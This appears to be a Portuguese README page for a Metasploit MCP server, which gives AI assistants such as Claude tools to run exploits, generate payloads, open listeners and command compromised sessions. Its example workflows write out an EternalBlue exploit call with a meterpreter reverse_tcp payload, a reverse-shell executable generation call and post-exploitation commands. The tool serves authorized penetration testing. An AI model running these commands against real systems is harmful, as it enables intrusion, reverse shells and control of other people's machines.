Metasploit MCP Server

Um servidor MCP para integração com o Metasploit Framework, permitindo geração e gerenciamento de payloads.

GitHub
734
Experimente este MCPPatrocinado

Documentação

Servidor MCP do Metasploit

Um servidor Model Context Protocol (MCP) para integração com o Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Descrição

Este servidor MCP fornece uma ponte entre modelos de linguagem de grande porte, como o Claude, e a plataforma de testes de penetração Metasploit Framework. Ele permite que assistentes de IA acessem e controlem dinamicamente as funcionalidades do Metasploit por meio de ferramentas padronizadas, possibilitando uma interface em linguagem natural para fluxos de trabalho complexos de testes de segurança.

Recursos

Informações de Módulos

  • list_exploits: Pesquisar e listar módulos de exploit disponíveis no Metasploit
  • list_payloads: Pesquisar e listar módulos de payload disponíveis no Metasploit com filtros opcionais de plataforma e arquitetura

Fluxo de Exploração

  • run_exploit: Configurar e executar um exploit contra um alvo, com opções para executar verificações primeiro
  • run_auxiliary_module: Executar qualquer módulo auxiliar do Metasploit com opções personalizadas
  • run_post_module: Executar módulos de pós-exploração em sessões existentes

Geração de Payloads

  • generate_payload: Gerar arquivos de payload usando o RPC do Metasploit (salva arquivos localmente)

Gerenciamento de Sessões

  • list_active_sessions: Exibir sessões atuais do Metasploit com informações detalhadas
  • send_session_command: Executar um comando em uma sessão ativa de shell ou Meterpreter
  • terminate_session: Encerrar forçadamente uma sessão ativa

Gerenciamento de Handlers

  • list_listeners: Exibir todos os handlers ativos e trabalhos em segundo plano
  • start_listener: Criar um novo multi/handler para receber conexões
  • stop_job: Encerrar qualquer trabalho ou handler em execução

Pré-requisitos

  • Metasploit Framework instalado e msfrpcd em execução
  • Python 3.10 ou superior
  • Pacotes Python necessários (consulte requirements.txt)

Instalação

  1. Clone este repositório
  2. Instale as dependências: 
    pip install -r requirements.txt
  3. Configure as variáveis de ambiente (opcional): 
    MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

Uso

Inicie o serviço RPC do Metasploit:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Opções de Transporte

O servidor suporta dois métodos de transporte:

  • HTTP/SSE (Server-Sent Events): Modo padrão para interoperabilidade com a maioria dos clientes MCP
  • STDIO (Entrada/Saída Padrão): Usado com Claude Desktop e conexões diretas por pipe semelhantes

Você pode selecionar explicitamente o modo de transporte usando o sinalizador --transport:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Opções adicionais para o modo HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Integração com Claude Desktop

Para integração com Claude Desktop, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Outros Clientes MCP

Para outros clientes MCP que usam HTTP/SSE:

  1. Inicie o servidor no modo HTTP:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

  2. Configure seu cliente MCP para conectar a:

    • Endpoint SSE: http://your-server-ip:8085/sse

Considerações de Segurança

⚠️ AVISO IMPORTANTE DE SEGURANÇA:

Esta ferramenta fornece acesso direto aos recursos do Metasploit Framework, que incluem funcionalidades poderosas de exploração. Use com responsabilidade e somente em ambientes onde você tenha permissão explícita para realizar testes de segurança.

  • Sempre valide e revise todos os comandos antes da execução
  • Execute apenas em ambientes de teste isolados ou com autorização adequada
  • Esteja ciente de que comandos de pós-exploração podem resultar em modificações significativas no sistema

Exemplos de Fluxos de Trabalho

Exploração Básica

  1. Liste os exploits disponíveis: list_exploits("ms17_010")
  2. Selecione e execute um exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Liste as sessões: list_active_sessions()
  4. Execute comandos: send_session_command(1, "whoami")

Pós-Exploração

  1. Execute um módulo de pós-exploração: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Envie comandos personalizados: send_session_command(1, "sysinfo")
  3. Encerre quando terminar: terminate_session(1)

Gerenciamento de Handlers

  1. Inicie um listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Liste os handlers ativos: list_listeners()
  3. Gere um payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Pare um handler: stop_job(1)

Testes

Este projeto inclui testes unitários e de integração abrangentes para garantir confiabilidade e manutenibilidade.

Pré-requisitos para Testes

Instale as dependências de teste:

pip install -r requirements-test.txt

Ou use o instalador conveniente:

python run_tests.py --install-deps
# OR
make install-deps

Executando Testes

Comandos Rápidos

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Suites de Testes Específicas

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Opções de Teste

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Estrutura de Testes

  • tests/test_options_parsing.py: Testes unitários para a funcionalidade de análise de opções
  • tests/test_helpers.py: Testes unitários para funções auxiliares internas e gerenciamento do cliente MSF
  • tests/test_tools_integration.py: Testes de integração para todas as ferramentas MCP com backend Metasploit simulado
  • conftest.py: Configurações e fixtures de teste compartilhadas
  • pytest.ini: Configuração do Pytest com configurações de cobertura

Recursos de Teste

  • Simulação Abrangente: Todas as dependências do Metasploit são simuladas, então os testes são executados sem exigir uma instalação real do MSF
  • Suporte Assíncrono: Suporte completo para testes async/await usando pytest-asyncio
  • Relatórios de Cobertura: Análise detalhada de cobertura com relatórios HTML
  • Testes Parametrizados: Testes eficientes de múltiplos cenários de entrada
  • Gerenciamento de Fixtures: Fixtures de teste reutilizáveis para cenários de configuração comuns

Relatórios de Cobertura

Após executar os testes com cobertura, os relatórios estão disponíveis em:

  • Terminal: Resumo de cobertura exibido após a execução dos testes
  • HTML: htmlcov/index.html (ao usar a opção --html)

Integração CI/CD

Para integração contínua:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Opções de Configuração

Diretório de Salvamento de Payloads

Por padrão, os payloads gerados com generate_payload são salvos em um diretório payloads na sua pasta pessoal (~/payloads ou C:\Users\YourUsername\payloads). Você pode personalizar este local definindo a variável de ambiente PAYLOAD_SAVE_DIR.

Definindo a variável de ambiente:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

  • Windows (Prompt de Comando):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

  • Na configuração do Claude Desktop:

    "env": {
    "MSF_PASSWORD": "yourpassword",
    "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
}

Observação: Se você especificar um caminho personalizado, certifique-se de que ele exista ou que o aplicativo tenha permissão para criá-lo. Se o caminho for inválido, a geração de payloads pode falhar.

Licença

Apache 2.0